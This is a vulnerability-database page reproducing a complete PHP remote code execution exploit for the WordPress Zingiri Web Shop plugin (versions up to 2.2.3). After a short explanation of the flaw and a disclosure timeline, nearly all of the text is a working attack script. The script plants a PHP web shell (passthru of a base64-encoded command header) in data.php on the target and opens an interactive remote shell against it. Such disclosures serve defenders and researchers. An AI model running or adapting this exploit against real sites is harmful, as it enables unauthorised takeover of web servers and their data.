Lucene search
K

Wordpress Zingiri Plugin <= 2.2.3 (ajax_save_name.php) Remote Code Execution

🗓️ 14 Nov 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Wordpress Zingiri Plugin <= 2.2.3 Remote Code Executio

Code

                                                &lt;?php
 
/*
    ------------------------------------------------------------------------
    Wordpress Zingiri Web Shop Plugin &lt;= 2.2.3 Remote Code Execution Exploit
    ------------------------------------------------------------------------
     
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://wordpress.org/extend/plugins/zingiri-web-shop/
    affected versions....: from 0.9.12 to 2.2.3
     
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
     
    [-] vulnerable code in /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php
     
    37.            @ob_start();
    38.            include_once(CLASS_SESSION_ACTION);
    39.            $sessionAction = new SessionAction();       
    40.            $selectedDocuments = $sessionAction-&gt;get();
    41.            if(removeTrailingSlash($sessionAction-&gt;getFolder()) == getParentPath($_POST['id']) &amp;&amp; sizeof($selectedDocuments))
    42.            {
    43.                if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
    44.                {
    45.                    $selectedDocuments[$key] = $_POST['value'];
    46.                    $sessionAction-&gt;set($selectedDocuments);
    47.                   
    48.                }
    49.                echo basename($_POST['id']) . &quot;\n&quot;;
    50.                displayArray($selectedDocuments);
    51.               
    52.            }elseif(removeTrailingSlash($sessionAction-&gt;getFolder()) == removeTrailingSlash($_POST['id']))
    53.            {
    54.                $sessionAction-&gt;setFolder($_POST['id']);
    55.            }
    56.            writeInfo(ob_get_clean());
     
    An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50,
    then at line 56 is called the 'writeInfo' function using the current buffer contents as argument.
    Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function
    writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code.
     
    [-] Note:
     
    The same vulnerability affects also the Joomla component (http://extensions.joomla.org/extensions/e-commerce/shopping-cart/13580)
    but isn't exploitable due to a misconfiguration in 'CONFIG_SYS_ROOT_PATH' constant definition.
 
    [-] Disclosure timeline:
     
    [23/11/2011] - Vulnerability discovered
    [25/10/2011] - Issue reported to http://forums.zingiri.com/
    [12/11/2011] - Version 2.2.4 released
    [13/11/2011] - Public disclosure
 
*/
 
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);
 
$fileman = &quot;wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager&quot;;
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( &quot;\n[-] No response from {$host}:80\n&quot;);
 
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}
 
function get_root_dir()
{
    global $host, $path, $fileman;
     
    $packet  = &quot;GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n&quot;;
    $packet .= &quot;Host: {$host}\r\n&quot;;
    $packet .= &quot;Connection: close\r\n\r\n&quot;;
     
    if (!preg_match('/currentFolderPath&quot; value=&quot;([^&quot;]*)&quot;/', http_send($host, $packet), $m)) die(&quot;\n[-] Root folder path not found!\n&quot;);
    return $m[1];
}
 
function random_mkdir()
{
    global $host, $path, $fileman, $rootdir;
     
    $dirname = uniqid();
     
    $payload = &quot;new_folder={$dirname}&amp;currentFolderPath={$rootdir}&quot;;
    $packet  = &quot;POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n&quot;;
    $packet .= &quot;Host: {$host}\r\n&quot;;
    $packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
    $packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $packet .= &quot;Connection: close\r\n\r\n{$payload}&quot;;
     
    http_send($host, $packet);   
    return $dirname;
}
 
print &quot;\n+----------------------------------------------------------------------------------+&quot;;
print &quot;\n| Wordpress Zingiri Web Shop Plugin &lt;= 2.2.3 Remote Code Execution Exploit by EgiX |&quot;;
print &quot;\n+----------------------------------------------------------------------------------+\n&quot;;
 
if ($argc &lt; 3)
{
    print &quot;\nUsage......: php $argv[0] &lt;host&gt; &lt;path&gt;\n&quot;;
    print &quot;\nExample....: php $argv[0] localhost /&quot;;
    print &quot;\nExample....: php $argv[0] localhost /wordpress/\n&quot;;
    die();
}
 
$host = $argv[1];
$path = $argv[2];
 
$rootdir = get_root_dir();
$phpcode = &quot;&lt;?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?&gt;&quot;;
 
$payload = &quot;selectedDoc[]={$phpcode}&amp;currentFolderPath={$rootdir}&quot;;
$packet  = &quot;POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
$packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n{$payload}&quot;;
 
if (!preg_match(&quot;/Set-Cookie: ([^;]*);/&quot;, http_send($host, $packet), $sid)) die(&quot;\n[-] Session ID not found!\n&quot;);
 
$dirname = random_mkdir();
$newname = uniqid();
 
$payload = &quot;value={$newname}&amp;id={$rootdir}{$dirname}&quot;;
$packet  = &quot;POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Cookie: {$sid[1]}\r\n&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
$packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n{$payload}&quot;;
 
http_send($host, $packet);
 
$packet  = &quot;GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Cmd: %s\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n&quot;;
 
while(1)
{
    print &quot;\nzingiri-shell# &quot;;
    if (($cmd = trim(fgets(STDIN))) == &quot;exit&quot;) break;
    preg_match(&quot;/_code_(.*)/s&quot;, http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die(&quot;\n[-] Exploit failed!\n&quot;);
}
 
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation